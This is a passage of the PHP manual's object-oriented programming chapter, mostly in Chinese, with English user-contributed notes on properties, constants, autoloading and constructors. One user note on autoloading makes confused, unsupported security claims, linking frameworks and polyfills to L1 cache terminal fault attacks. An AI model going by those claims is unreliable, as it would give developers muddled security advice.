     * calculate the length of this Line in 3-dimensional space.
     */
    public function getLength()
    {
        return sqrt(
            pow($this->start->x - $this->end->x, 2) +
            pow($this->start->y - $this->end->y, 2) +
            pow($this->start->z - $this->end->z, 2)
        );
    }

    /*
     * The (String) representation of this Line as "Line3D[start, end, length]".
     */
    public function __toString()
    {
        return 'Line3D[start=' . $this->start .
            ', end=' . $this->end .
            ', length=' . $this->getLength() . ']';
    }
}

/*
 * create and display objects of type Line3D.
 */
echo '<p>' . (new Line3D()) . "</p>\n";
echo '<p>' . (new Line3D(0, 0, 0, 100, 100, 0)) . "</p>\n";
echo '<p>' . (new Line3D(0, 0, 0, 100, 100, 100)) . "</p>\n";

?>

  <--  The results look like this  -->

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=1, y=1, z=1), length=1.73205080757]

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=100, y=100, z=0), length=141.421356237]

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=100, y=100, z=100), length=173.205080757]

My absolute favorite thing about OOP is that "good" objects keep themselves in check. I mean really, it's the exact same thing in reality... like, if you hire a plumber to fix your kitchen sink, wouldn't you expect him to figure out the best plan of attack? Wouldn't he dislike the fact that you want to control the whole job? Wouldn't you expect him to not give you additional problems? And for god's sake, it is too much to ask that he cleans up before he leaves?

I say, design your classes well, so they can do their jobs uninterrupted... who like bad news? And, if your classes and objects are well defined, educated, and have all the necessary data to work on (like the examples above do), you won't have to micro-manage the whole program from outside of the class. In other words... create an object, and LET IT RIP!
aaron at thatone dot com 15-Dec-2007 06:46
I was confused at first about object assignment, because it's not quite the same as normal assignment or assignment by reference. But I think I've figured out what's going on.

First, think of variables in PHP as data slots. Each one is a name that points to a data slot that can hold a value that is one of the basic data types: a number, a string, a boolean, etc. When you create a reference, you are making a second name that points at the same data slot. When you assign one variable to another, you are copying the contents of one data slot to another data slot.

Now, the trick is that object instances are not like the basic data types. They cannot be held in the data slots directly. Instead, an object's "handle" goes in the data slot. This is an identifier that points at one particular instance of an obect. So, the object handle, although not directly visible to the programmer, is one of the basic datatypes.

What makes this tricky is that when you take a variable which holds an object handle, and you assign it to another variable, that other variable gets a copy of the same object handle. This means that both variables can change the state of the same object instance. But they are not references, so if one of the variables is assigned a new value, it does not affect the other variable.

<?php
// Assignment of an object
Class Object{
   public $foo="bar";
};

$objectVar = new Object();
$reference =& $objectVar;
$assignment = $objectVar

//
// $objectVar --->+---------+
//                |(handle1)----+
// $reference --->+---------+   |
//                              |
//                +---------+   |
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="bar"
//
?>

$assignment has a different data slot from $objectVar, but its data slot holds a handle to the same object. This makes it behave in some ways like a reference. If you use the variable $objectVar to change the state of the Object instance, those changes also show up under $assignment, because it is pointing at that same Object instance.

<?php
$objectVar->foo = "qux";
print_r( $objectVar );
print_r( $reference );
print_r( $assignment );

//
// $objectVar --->+---------+
//                |(handle1)----+
// $reference --->+---------+   |
//                              |
//                +---------+   |
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="qux"
//
?>

But it is not exactly the same as a reference. If you null out $objectVar, you replace the handle in its data slot with NULL. This means that $reference, which points at the same data slot, will also be NULL. But $assignment, which is a different data slot, will still hold its copy of the handle to the Object instance, so it will not be NULL.

<?php
$objectVar = null;
print_r($objectVar);
print_r($reference);
print_r($assignment);

//
// $objectVar --->+---------+
//                |  NULL   |
// $reference --->+---------+
//
//                +---------+
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="qux"
?>


属性

类的变量成员叫做属性，或者叫字段，在本文档统一称为属性。 属性开头至少使用一个修饰符（比如 访问控制（可见性）、静态（static）关键字或者自 PHP 8.1.0 起支持的 readonly）， 除了 readonly 属性之外都是可选的，然后自 PHP 7.4 起可以跟一个类型声明，然后跟一个普通的变量声明来组成。属性中的变量可以初始化，但是初始化的值必须是 常量值。

Note:

另一种过时的声明类属性的方法是使用 var 关键字，而不是使用修饰符。

Note: 没有声明 访问控制（可见性） 修饰符的属性将默认声明为 public。

在类的成员方法里面，可以用 ->（对象运算符）：$this->property（其中 property 是该属性名）这种方式来访问非静态属性。静态属性则是用 ::（双冒号）：self::$property 来访问。更多静态属性与非静态属性的区别参见 静态（static）关键字。

当一个方法在类定义内部被调用时，有一个可用的伪变量 $this。$this 是一个到主叫对象的引用（通常是该方法所从属的对象，但如果是从第二个对象静态调用时也可能是另一个对象）。

Example #1 属性声明

<?php
class SimpleClass
{
public $var1 = 'hello ' . 'world';
public $var2 = <<<EOD
hello world
EOD;
public $var3 = 1+2;
// 错误的属性声明
public $var4 = self::myStaticMethod();
public $var5 = $myVar;

// 正确的属性声明
public $var6 = myConstant;
public $var7 = array(true, false);

public $var8 = <<<'EOD'
hello world
EOD;

// 没有访问控制修饰符：
static $var9;
readonly int $var10;
}
?>

Note:

更多关于类／对象的处理函数，请查看类／对象函数。

类型声明

从 PHP 7.4.0 开始，属性定义可以包含类型声明，但 callable 除外。

Example #2 类型声明的示例

<?php

class User
{
public int $id;
public ?string $name;

public function __construct(int $id, ?string $name)
{
$this->id = $id;
$this->name = $name;
}
}

$user = new User(1234, null);

var_dump($user->id);
var_dump($user->name);

?>

以上示例会输出：

int(1234)
NULL

类型属性必须在访问前初始化，否则会抛出 Error 。

Example #3 访问属性

<?php

class Shape
{
public int $numberOfSides;
public string $name;

public function setNumberOfSides(int $numberOfSides): void
{
$this->numberOfSides = $numberOfSides;
}

public function setName(string $name): void
{
$this->name = $name;
}

public function getNumberOfSides(): int
{
return $this->numberOfSides;
}

public function getName(): string
{
return $this->name;
}
}

$triangle = new Shape();
$triangle->setName("triangle");
$triangle->setNumberofSides(3);
var_dump($triangle->getName());
var_dump($triangle->getNumberOfSides());

$circle = new Shape();
$circle->setName("circle");
var_dump($circle->getName());
var_dump($circle->getNumberOfSides());
?>

以上示例会输出：

string(8) "triangle"
int(3)
string(6) "circle"

Fatal error: Uncaught Error: Typed property Shape::$numberOfSides must not be accessed before initialization

只读属性

自 PHP 8.1.0 起，可以使用 readonly 修饰符声明属性，防止初始化后修改属性。

Example #4 只读属性示例

<?php
class Test {
public readonly string $prop;
public function __construct(string $prop) {
// 初始化正常。
$this->prop = $prop;
}
}
$test = new Test("foobar");
// 读取正常。
var_dump($test->prop); // string(6) "foobar"
// 再赋值异常。分配的值是否相同并不重要。
$test->prop = "foobar";
// Error: Cannot modify readonly property Test::$prop
?>

Note:

readonly 修饰符只能应用于类型化属性。可以使用 Mixed 类型创建没有类型约束的只读属性。

Note:

不支持对静态属性只读。

只读属性只能初始化一次，并且只能从声明它的作用域内初始化。对属性的任何赋值和修改都会导致 Error 异常。

Example #5 初始化只读属性异常

<?php
class Test1 {
public readonly string $prop;
}
$test1 = new Test1;
// 私有作用域之外异常初始化。
$test1->prop = "foobar";
// Error: Cannot initialize readonly property Test1::$prop from global scope
?>

Note:

禁止在只读属性上指定默认值，因为具有默认值的只读属性等同于常量，因此不是特别有用。

<?php
class Test {
// Fatal error: Readonly property Test::$prop cannot have default value
public readonly int $prop = 42;
}
?>

Note:

只读属性一旦初始化就不能 unset()。但可以在初始化之前从声明属性的作用域中取消只读属性。

修改不一定是简单的赋值，以下所有行为也会导致 Error 异常：

<?php
class Test {
public function __construct(
public readonly int $i = 0,
public readonly array $ary = [],
) {}
}
$test = new Test;
$test->i += 1;
$test->i++;
++$test->i;
$test->ary[] = 1;
$test->ary[0][] = 1;
$ref =& $test->i;
$test->i =& $ref;
byRef($test->i);
foreach ($test as &$prop);
?>

然而，只读属性并不会妨碍内部可变性。存储在只读属性中的对象（或资源）仍然可以在内部修改：

<?php
class Test {
public function __construct(public readonly object $obj) {}
}
$test = new Test(new stdClass);
// 内部可变正常。
$test->obj->foo = 1;
// 赋值异常。
$test->obj = new stdClass;
?>

动态属性

如果尝试在 object 上赋值不存在的属性，PHP 将会自动创建相应的属性。动态创建的属性将仅能在此类实例上使用。

Warning

自 PHP 8.2.0 起弃用动态属性。建议更改为属性声明。要处理任意属性名称，类应该实现魔术方法 __get() 和 __set()。最后可以使用 #[\AllowDynamicProperties] 注解标记此类。

User Contributed Notes

kchlin dot lxy at gmail dot com 20-Sep-2022 03:39
From PHP 8.1
It's easy to create DTO object with readonly properties and promoting constructor
which easy to pack into a compact string and covert back to a object.
<?php
# Conversion functions.
# Pack object into a compack JSON string.
function cvtObjectToJson( object $poObject ): string
{
  return json_encode( array_values( get_object_vars( $poObject )));
}

# Unpack object from a JSON string.
function cvtJsonToObject( string $psClass, string $psString ): object
{
  return new $psClass( ...json_decode( $psString ));
}

# DTO example class.
final class exampleDto
{
  final public function __construct(
    public readonly int    $piInt,
    public readonly ?int   $pnNull,
    public readonly float  $pfFloat,
    public readonly string $psString,
    public readonly array  $paArray,
    public readonly object $poObject,
  ){}
}

# Example with export only public properties of given object.
$exampleDtoO = new exampleDto( 1, null, .3, 'string 4', [], new stdClass() );
$stringJson  = cvtObjectToJson( $exampleDtoO );// [1,null,0.3,"string 4",[],{}]
$objectO     = cvtJsonToObject( exampleDto::class, $stringJson );

# Check and var_dump variables.
echo $exampleDtoO == $objectO
  ? 'Objects equal, but not identical.'.    PHP_EOL
  : 'Objects not equal neither identical.'. PHP_EOL
;
var_dump($exampleDtoO, $stringJson, $objectO);

# Output
/*
  Objects equal, but not identical
  object(exampleDto)#6 (6) {
  ["piInt"]=>
    int(1)
    ["pnNull"]=>
    NULL
    ["pfFloat"]=>
    float(0.3)
    ["psString"]=>
    string(8) "string 4"
  ["paArray"]=>
    array(0) {
  }
    ["poObject"]=>
    object(stdClass)#7 (0) {
    }
  }
  string(29) "[1,null,0.3,"string 4",[],{}]"
  object(exampleDto)#8 (6) {
  ["piInt"]=>
    int(1)
    ["pnNull"]=>
    NULL
    ["pfFloat"]=>
    float(0.3)
    ["psString"]=>
    string(8) "string 4"
  ["paArray"]=>
    array(0) {
  }
    ["poObject"]=>
    object(stdClass)#9 (0) {
    }
  }
*/
anca at techliminal dot com 08-Jul-2015 11:08
You can access property names with dashes in them (for example, because you converted an XML file to an object) in the following way:

<?php
$ref = new StdClass();
$ref->{'ref-type'} = 'Journal Article';
var_dump($ref);
?>
Anonymous 17-Apr-2012 09:16
In case this saves anyone any time, I spent ages working out why the following didn't work:

class MyClass
{
    private $foo = FALSE;

    public function __construct()
    {
        $this->$foo = TRUE;

        echo($this->$foo);
    }
}

$bar = new MyClass();

giving "Fatal error: Cannot access empty property in ...test_class.php on line 8"

The subtle change of removing the $ before accesses of $foo fixes this:

class MyClass
{
    private $foo = FALSE;

    public function __construct()
    {
        $this->foo = TRUE;

        echo($this->foo);
    }
}

$bar = new MyClass();

I guess because it's treating $foo like a variable in the first example, so trying to call $this->FALSE (or something along those lines) which makes no sense. It's obvious once you've realised, but there aren't any examples of accessing on this page that show that.
Anonymous 11-Mar-2011 03:18
$this can be cast to array.  But when doing so, it prefixes the property names/new array keys with certain data depending on the property classification.  Public property names are not changed.  Protected properties are prefixed with a space-padded '*'.  Private properties are prefixed with the space-padded class name...

<?php

class test
{
    public $var1 = 1;
    protected $var2 = 2;
    private $var3 = 3;
    static $var4 = 4;

    public function toArray()
    {
        return (array) $this;
    }
}

$t = new test;
print_r($t->toArray());

/* outputs:

Array
(
    [var1] => 1
    [ * var2] => 2
    [ test var3] => 3
)

*/
?>

This is documented behavior when converting any object to an array (see </language.types.array.php#language.types.array.casting> PHP manual page).  All properties regardless of visibility will be shown when casting an object to array (with exceptions of a few built-in objects).

To get an array with all property names unaltered, use the 'get_object_vars($this)' function in any method within class scope to retrieve an array of all properties regardless of external visibility, or 'get_object_vars($object)' outside class scope to retrieve an array of only public properties (see: </function.get-object-vars.php> PHP manual page).
zzzzBov 04-Jun-2010 09:21
Do not confuse php's version of properties with properties in other languages (C++ for example).  In php, properties are the same as attributes, simple variables without functionality.  They should be called attributes, not properties.

Properties have implicit accessor and mutator functionality.  I've created an abstract class that allows implicit property functionality.

<?php

abstract class PropertyObject
{
  public function __get($name)
  {
    if (method_exists($this, ($method = 'get_'.$name)))
    {
      return $this->$method();
    }
    else return;
  }

  public function __isset($name)
  {
    if (method_exists($this, ($method = 'isset_'.$name)))
    {
      return $this->$method();
    }
    else return;
  }

  public function __set($name, $value)
  {
    if (method_exists($this, ($method = 'set_'.$name)))
    {
      $this->$method($value);
    }
  }

  public function __unset($name)
  {
    if (method_exists($this, ($method = 'unset_'.$name)))
    {
      $this->$method();
    }
  }
}

?>

after extending this class, you can create accessors and mutators that will be called automagically, using php's magic methods, when the corresponding property is accessed.


类常量

可以把在类中始终保持不变的值定义为 常量 。 类常量的默认可见性是 public 。

Note:

类常量可以通过子类重新定义。PHP 8.1.0 起，如果类常量定义为 final，则不能被子类重新定义。

接口（interface）中也可以定义常量。更多示例见文档中的接口部分。

可以用一个变量来动态调用类。但该变量的值不能为关键字（如 self ， parent 或 static）。

注意，类常量只为每个类分配一次，而不是为每个类的实例分配。

Example #1 定义和使用一个类常量

<?php
class MyClass
{
const CONSTANT = 'constant value';

function showConstant() {
echo self::CONSTANT . "\n";
}
}

echo MyClass::CONSTANT . "\n";

$classname = "MyClass";
echo $classname::CONSTANT . "\n";

$class = new MyClass();
$class->showConstant();

echo $class::CONSTANT."\n";
?>

特殊的 ::class 允许在编译时进行完全限定的类名解析， 这在命名空间类中非常有用。

Example #2 命名空间的 ::class 示例

<?php
namespace foo {
class bar {
}

echo bar::class; // foo\bar
}
?>

Example #3 类常量表达式示例

<?php
const ONE = 1;
class foo {
const TWO = ONE * 2;
const THREE = ONE + self::TWO;
const SENTENCE = 'The value of THREE is '.self::THREE;
}
?>

Example #4 自 PHP 7.1.0 起，类常量支持可见性修饰符

<?php
class Foo {
public const BAR = 'bar';
private const BAZ = 'baz';
}
echo Foo::BAR, PHP_EOL;
echo Foo::BAZ, PHP_EOL;
?>

以上示例在 PHP 7.1 中的输出：

bar

Fatal error: Uncaught Error: Cannot access private const Foo::BAZ in ...

Note:

自 PHP 7.1.0 起，类常量允许使用可见性修饰符。

User Contributed Notes

powtac at gmx dot de 05-May-2023 02:02
Since it it is not mentioned in the description the following types can be set as a class constant: string, array, int, bool and probably float. But not objects.

<?php

class Test {
    const arr  = array();
    const string = 'string';
    const int = 99;
    const bool = true;
}

var_dump(
    (new Test())::arr,
    (new Test())::string,
    (new Test())::int,
    (new Test())::bool
);

/* ouput for PHP 7.0.0+:

array(0) {
}
string(6) "string"
int(99)
bool(true)
David Spector 16-Aug-2018 01:55
The usual comma-separated syntax can be used to declare several constants:

class STATE
    {
    const INIT=0, NAME_SEEN=1, ADDR_SEEN=2;
    }

This shows the declaration of a set of enumeration literals suitable for use in a finite state machine loop. Reference such an enum by using syntax such as "STATE::INIT". Its actual type in this case will be integer.
Nimja 06-Sep-2017 01:07
Note that this magic constant DOES NOT load classes. And in fact can work on classes that do not exist.

This means it does not mess with auto-loading.

<?php
    $className = \Foo\Bar::class;
    var_dump($className);
    var_dump(class_exists($className, false));
?>

Will output:

    string(7) "Foo\Bar"
    bool(false)
jimmmy dot chief at gmail dot com 25-Oct-2016 02:57
Hi, i would like to point out difference between self::CONST and $this::CONST with extended class.
Let us have class a:

<?php
class a {
    const CONST_INT = 10;

    public function getSelf(){
        return self::CONST_INT;
    }

    public function getThis(){
        return $this::CONST_INT;
    }
}
?>

And class b (which extends a)

<?php
class b extends a {
    const CONST_INT = 20;

    public function getSelf(){
        return parent::getSelf();
    }

    public function getThis(){
        return parent::getThis();
    }
}
?>

Both classes have same named constant CONST_INT.
When child call method in parent class, there is different output between self and $this usage.

<?php
$b = new b();

print_r($b->getSelf());     //10
print_r($b->getThis());     //20

?>
nepomuk at nepda dot de 15-Mar-2016 08:50
[Editor's note: that is already possible as of PHP 5.6.0.]

Note, as of PHP7 it is possible to define class constants with an array.

<?php
class MyClass
{
    const ABC = array('A', 'B', 'C');
    const A = '1';
    const B = '2';
    const C = '3';
    const NUMBERS = array(
        self::A,
        self::B,
        self::C,
    );
}
var_dump(MyClass::ABC);
var_dump(MyClass::NUMBERS);

// Result:
/*
array(3) {
    [0]=>
  string(1) "A"
    [1]=>
  string(1) "B"
    [2]=>
  string(1) "C"
}
array(3) {
    [0]=>
  string(1) "1"
    [1]=>
  string(1) "2"
    [2]=>
  string(1) "3"
}
*/
?>
Paul 12-May-2015 10:44
Square or curly bracket syntax can normally be used to access a single byte (character) within a string. For example: $mystring[5]. However, please note that (for some reason) this syntax is not accepted for string class constants (at least, not in PHP 5.5.12).
For example, the following code gives "PHP Parse error:  syntax error, unexpected '[' in php shell code on line 6".
<?php
class SomeClass
{
  const SOME_STRING = '0123456790';
  public static function ATest()
  {
    return self::SOME_STRING[0];
  }
}
?>
It looks like you have to use a variable/class member instead.
kuzawinski dot marcin at gmail dot com 11-Nov-2014 01:27
As of PHP 5.6 you can finally define constant using math expressions, like this one:

<?php

class MyTimer {
    const SEC_PER_DAY = 60 * 60 * 24;
}

?>

Me happy :)
Xiong Chiamiov 10-Mar-2014 11:36
const can also be used directly in namespaces, a feature never explicitly stated in the documentation.

<?php
# foo.php
namespace Foo;

const BAR = 1;
?>

<?php
# bar.php
require 'foo.php';

var_dump(Foo\BAR); // => int(1)
?>
delete dot this dot and dot dots dot gt at kani dot hu 16-Jan-2014 11:05
I think it's useful if we draw some attention to late static binding here:
<?php
class A {
    const MY_CONST = false;
    public function my_const_self() {
        return self::MY_CONST;
    }
    public function my_const_static() {
        return static::MY_CONST;
    }
}

class B extends A {
   const MY_CONST = true;
}

$b = new B();
echo $b->my_const_self ? 'yes' : 'no'; // output: no
echo $b->my_const_static ? 'yes' : 'no'; // output: yes
?>
tmp dot 4 dot longoria at gmail dot com 04-Jun-2011 01:52
it's possible to declare constant in base class, and override it in child, and access to correct value of the const from the static method is possible by 'get_called_class' method:
<?php
abstract class dbObject
{
    const TABLE_NAME='undefined';

    public static function GetAll()
    {
        $c = get_called_class();
        return "SELECT * FROM `".$c::TABLE_NAME."`";
    }
}

class dbPerson extends dbObject
{
    const TABLE_NAME='persons';
}

class dbAdmin extends dbPerson
{
    const TABLE_NAME='admins';
}

echo dbPerson::GetAll()."<br>";//output: "SELECT * FROM `persons`"
echo dbAdmin::GetAll()."<br>";//output: "SELECT * FROM `admins`"

?>
anonymous 27-Sep-2010 06:32
Most people miss the point in declaring constants and confuse then things by trying to declare things like functions or arrays as constants. What happens next is to try things that are more complicated then necessary and sometimes lead to bad coding practices. Let me explain...

A constant is a name for a value (but it's NOT a variable), that usually will be replaced in the code while it gets COMPILED and NOT at runtime.

So returned values from functions can't be used, because they will return a value only at runtime.

Arrays can't be used, because they are data structures that exist at runtime.

One main purpose of declaring a constant is usually using a value in your code, that you can replace easily in one place without looking for all the occurences. Another is, to avoid mistakes.

Think about some examples written by some before me:

1. const MY_ARR = "return array(\"A\", \"B\", \"C\", \"D\");";
It was said, this would declare an array that can be used with eval. WRONG! This is just a string as constant, NOT an array. Does it make sense if it would be possible to declare an array as constant? Probably not. Instead declare the values of the array as constants and make an array variable.

2. const magic_quotes = (bool)get_magic_quotes_gpc();
This can't work, of course. And it doesn't make sense either. The function already returns the value, there is no purpose in declaring a constant for the same thing.

3. Someone spoke about "dynamic" assignments to constants. What? There are no dynamic assignments to constants, runtime assignments work _only_ with variables. Let's take the proposed example:

<?php
/**
 * Constants that deal only with the database
 */
class DbConstant extends aClassConstant {
    protected $host = 'localhost';
    protected $user = 'user';
    protected $password = 'pass';
    protected $database = 'db';
    protected $time;
    function __construct() {
        $this->time = time() + 1; // dynamic assignment
    }
}
?>

Those aren't constants, those are properties of the class. Something like "this->time = time()" would even totally defy the purpose of a constant. Constants are supposed to be just that, constant values, on every execution. They are not supposed to change every time a script runs or a class is instantiated.

Conclusion: Don't try to reinvent constants as variables. If constants don't work, just use variables. Then you don't need to reinvent methods to achieve things for what is already there.
wbcarts at juno dot com 12-Sep-2008 12:12
Use CONST to set UPPER and LOWER LIMITS

If you have code that accepts user input or you just need to make sure input is acceptable, you can use constants to set upper and lower limits. Note: a static function that enforces your limits is highly recommended... sniff the clamp() function below for a taste.

<?php

class Dimension
{
  const MIN = 0, MAX = 800;

  public $width, $height;

  public function __construct($w = 0, $h = 0){
    $this->width  = self::clamp($w);
    $this->height = self::clamp($h);
  }

  public function __toString(){
    return "Dimension [width=$this->width, height=$this->height]";
  }

  protected static function clamp($value){
    if($value < self::MIN) $value = self::MIN;
    if($value > self::MAX) $value = self::MAX;
    return $value;
  }
}

echo (new Dimension()) . '<br>';
echo (new Dimension(1500, 97)) . '<br>';
echo (new Dimension(14, -20)) . '<br>';
echo (new Dimension(240, 80)) . '<br>';

?>

- - - - - - - -
 Dimension [width=0, height=0] - default size
 Dimension [width=800, height=97] - width has been clamped to MAX
 Dimension [width=14, height=0] - height has been clamped to MIN
 Dimension [width=240, height=80] - width and height unchanged
- - - - - - - -

Setting upper and lower limits on your classes also help your objects make sense. For example, it is not possible for the width or height of a Dimension to be negative. It is up to you to keep phoney input from corrupting your objects, and to avoid potential errors and exceptions in other parts of your code.


类的自动加载

在编写面向对象（OOP） 程序时，很多开发者为每个类新建一个 PHP 文件。 这会带来一个烦恼：每个脚本的开头，都需要包含（include）一个长长的列表（每个类都有个文件）。

spl_autoload_register() 函数可以注册任意数量的自动加载器，当使用尚未被定义的类（class）和接口（interface）时自动去加载。通过注册自动加载器，脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。

像 class 一样的结构都可以以相同方式自动加载。包括类、接口、trait 和枚举。

Caution

PHP 8.0.0 之前，可以使用 __autoload() 自动加载类和接口。然而，它是 spl_autoload_register() 的一种不太灵活的替代方法，并且 __autoload() 在 PHP 7.2.0 起弃用，在 PHP 8.0.0 起移除。

Note:

spl_autoload_register() 可以多次调用以便注册多个自动加载器。但从自动加载函数中抛出异常会中断该过程并且禁止继续执行。因此强烈建议不要从自动加载函数中抛出异常。

Example #1 自动加载示例

本例尝试分别从 MyClass1.php 和 MyClass2.php 文件中加载 MyClass1 和 MyClass2 类。

<?php
spl_autoload_register(function ($class_name) {
require_once $class_name . '.php';
});

$obj = new MyClass1();
$obj2 = new MyClass2();
?>

Example #2 另一个例子

本例尝试加载接口 ITest。

<?php

spl_autoload_register(function ($name) {
var_dump($name);
});

class Foo implements ITest {
}

/*
string(5) "ITest"

Fatal error: Interface 'ITest' not found in ...
*/
?>

参见

  • unserialize()
  • unserialize_callback_func
  • unserialize_max_depth
  • spl_autoload_register()
  • spl_autoload()
  • __autoload()

User Contributed Notes

info at atomosmaestoso dot com 18-Jun-2022 11:57
Autoloading Classes with  spl_autoload_register() or spl_autoload() is the best and most modern way to securely code for API integration.

It restricts the various attacks that can be faced by using a "polyfill" or framework that is subject to data injection. Low level attacks, polyfill and framework vulnerabilities are some exploitations limited in using the core functionalities of your host programming language.

Your loop-holes and target endpoints are vastly removed to the level of programming experience of the developer - in not exposing the threats espoused to your programming language and its security protocols.

Each event you transfer data from one program to the next reveals another threat and another attack endpoint. When you are production, it is at this point composer and other tools that gather requirements specific secure integration should limit its use, such as PCI-DSS, HIPAA, or GDPR.

The use of a framework or polyfill gives an attacker hints at what point a function will access memory to produce intended results. Visiting the late L1-Cache Terminal Fault - attacks that use machine language to access memory and read what actually is happening will have all the details of what process is taking place and when.

Not to mention, when a product is open-source, the code is editable and easily compiled. Using access to machine level integrations a simply 10 second loss of time to process could well as infer the entire application has experienced an overhaul.

To deter this, and ensure maximum security for piece of mind and money-wise. The embedded resources of a programming language should be utilized at maximal capacity to prevent an overhaul on multiple endpoints. Visiting a system in use is not deletable or easily moved, removed or altered.
toi]n[enkayt[attaat]gmaal.com 27-Feb-2020 03:36
Autoloading plain functions is not supported by PHP at the time of writing. There is however a simple way to trick the autoloader to do this. The only thing that is needed is that the autoloader finds the searched class (or any other autoloadable piece of code) from the files it goes through and the whole file will be included to the runtime.

Let's say you have a namespaced file for functions you wish to autoload. Simply adding a class of the same name to that file with a single constant property is enough to trigger the autoloader to seek for the file. Autoloading can then be triggered by accessing the constant property.

The constant could be replaced by any static property or method or by default constructor. However, I personally find a constant named 'load' elegant and informative. After all this is a workaround. Another thing to keep in mind is that this introduces an unnecessary class to the runtime. The benefit of this is that there is no need to manually include or require files containing functions by path which in turn makes code maintaining easier. Such behaviour makes it easier to alter the project structure since manual includes need not to be fixed. Only the autoloader needs to be able to locate the moved files which can be automated.

A code file containing functions.
/Some/Namespace/Functions.php
<?php
namespace Some\Namespace;

class Functions { const load = 1; }

function a () {
}

function b () {
}
?>

Triggering autoloading of the file containing functions.
main.php
<?php
\Some\Namespace\Functions::load;

a ();
b ();
?>
str at maphpia dot com 01-Dec-2016 07:36
This is my autoloader for my PSR-4 clases. I prefer to use composer's autoloader, but this works for legacy projects that can't use composer.

<?php
/**
 * Simple autoloader, so we don't need Composer just for this.
 */
class Autoloader
{
    public static function register()
    {
        spl_autoload_register(function ($class) {
            $file = str_replace('\\', DIRECTORY_SEPARATOR, $class).'.php';
            if (file_exists($file)) {
                require $file;
                return true;
            }
            return false;
        });
    }
}
Autoloader::register();
Anonymous 08-Feb-2010 03:35
It's worth to mention, if your operating system is case-sensitive you need to name your file with same case as in source code eg. MyClass.php instead of myclass.php
jarret dot minkler at gmail dot com 07-Mar-2009 10:55
You should not have to use require_once inside the autoloader, as if the class is not found it wouldn't be trying to look for it by using the autoloader.

Just use require(), which will be better on performance as well as it does not have to check if it is unique.
kalkamar at web dot de 07-Oct-2008 10:23
Because static classes have no constructor I use this to initialize such classes.
The function init will (if available) be called when you first use the class.
The class must not be included before, otherwise the init-function wont be called as autoloading is not used.

<?php
function __autoload($class_name)
{
    require_once(CLASSES_PATH.$class_name.'.cls.php');
    if(method_exists($class_name,'init'))
        call_user_func(array($class_name,'init'));
    return true;
}
?>

I use it for example to establish the mysql-connection on demand.

It is also possilbe do add a destructor by adding this lines to the function:
<?php
if(method_exists($class_name,'destruct'))
    register_shutdown_function(array($class_name,'destruct'));
?>


构造函数和析构函数

构造函数

__construct(mixed ...$values = ""): void

PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法，所以非常适合在使用对象之前做一些初始化工作。

Note: 如果子类中定义了构造函数则不会隐式调用其父类的构造函数。要执行父类的构造函数，需要在子类的构造函数中调用 parent::__construct()。如果子类没有定义构造函数则会如同一个普通的类方法一样从父类继承（假如没有被定义为 private 的话）。

Example #1 继承中的构造函数

<?php
class BaseClass {
function __construct() {
print "In BaseClass constructor\n";
}
}

class SubClass extends BaseClass {
function __construct() {
parent::__construct();
print "In SubClass constructor\n";
}
}

class OtherSubClass extends BaseClass {
// 继承 BaseClass 的构造函数
}

// In BaseClass constructor
$obj = new BaseClass();

// In BaseClass constructor
// In SubClass constructor
$obj = new SubClass();

// In BaseClass constructor
$obj = new OtherSubClass();
?>

与其它方法不同， __construct() 在继承时不受签名兼容性规则的约束。

自 PHP 5.3.3 起，在命名空间中，与类名同名的方法不再作为构造函数。不使用命名空间中的类则不受影响。 构造函数是一个普通的方法，在对应对象实例化时自动被调用。 因此可以定义任何数量的参数，可以是必选、可以有类型、可以有默认值。 构造器的参数放在类名后的括号里调用。

Example #2 使用构造器参数

<?php
class Point {
protected int $x;
protected int $y;

public function __construct(int $x, int $y = 0) {
$this->x = $x;
$this->y = $y;
}
}

// 两个参数都传入
$p1 = new Point(4, 5);
// 仅传入必填的参数。 $y 会默认取值 0。
$p2 = new Point(4);
// 使用命名参数（PHP 8.0 起）:
$p3 = new Point(y: 5, x: 4);
?>

如果一个类没有构造函数，以及构造函数的参数不是必填项时，括号就可以省略。

旧式风格的构造器

PHP 8.0.0 之前，全局命名空间内的类如果有一个同名的方法，则会解析为旧式风格的构造器。 虽然函数能被当作构造器，但该语法已被废弃，并会导致 E_DEPRECATED 错误。 如果 __construct() 和同名方法同时存在时， 会调用 __construct()。

以下两种情况时，与类同名的方法不再有特殊意义：命名空间中的类、PHP 8.0.0 起的任何类。

新代码中要使用 __construct()。

构造器属性提升

PHP 8.0.0 起，构造器的参数也可以相应提升为类的属性。 构造器的参数赋值给类属性的行为很普遍，否则无法操作。 而构造器提升的功能则为这种场景提供了便利。 因此上面的例子可以用以下方式重写：

Example #3 使用构造器属性提升

<?php
class Point {
public function __construct(protected int $x, protected int $y = 0) {
}
}

当构造器参数带修饰符时，PHP 会同时把它当作对象属性和构造器参数， 并赋值到属性。 构造器可以是空的，或者包含其他语句。 参数值赋值到相应属性后执行正文中额外的代码语句。

并非所有参数都需要提升。可以混合提升或不提升参数作为属性，也不需要按顺序。 提升后的参数不影响构造器内代码调用。

Note:

使用可见性修饰符（public、protected 或 private）是应用属性提升的最有可能的方式，但其它任何单个修饰符（例如 readonly）将产生相同的效果。

Note:

对象属性的类型不能为 callable 以避免为引擎带来混淆。 因此提升的参数也不能是 callable。 其他任意 类型声明 是允许的。

Note:

由于属性升级为属性和函数参数，因此属性和参数的所有命名限制都适用。

Note:

放在构造方法提升参数里的属性会同时复制为属性和参数。提升的构造方法的参数默认值将仅复制到参数并且不会复制到属性。

初始化新功能

自 PHP 8.1.0 起，对象可以用于默认参数值，静态变量，全局常量，以及属性参数。define() 现在也接受对象。

Note:

禁止使用动态类名、非字符串类名以及匿名类。禁止使用参数解包。禁止使用不支持的表达式作为参数。

Example #4 初始化中使用 new

<?php

// 全部允许：
static $x = new Foo;

const C = new Foo;

function test($param = new Foo) {}

#[AnAttribute(new Foo)]
class Test {
public function __construct(
public $prop = new Foo,
) {}
}

// 全部禁止（编译时错误）:
function test(
$a = new (CLASS_NAME_CONSTANT)(), // 动态类名
$b = new class {}, // 匿名类
$c = new A(...[]), // 参数解包
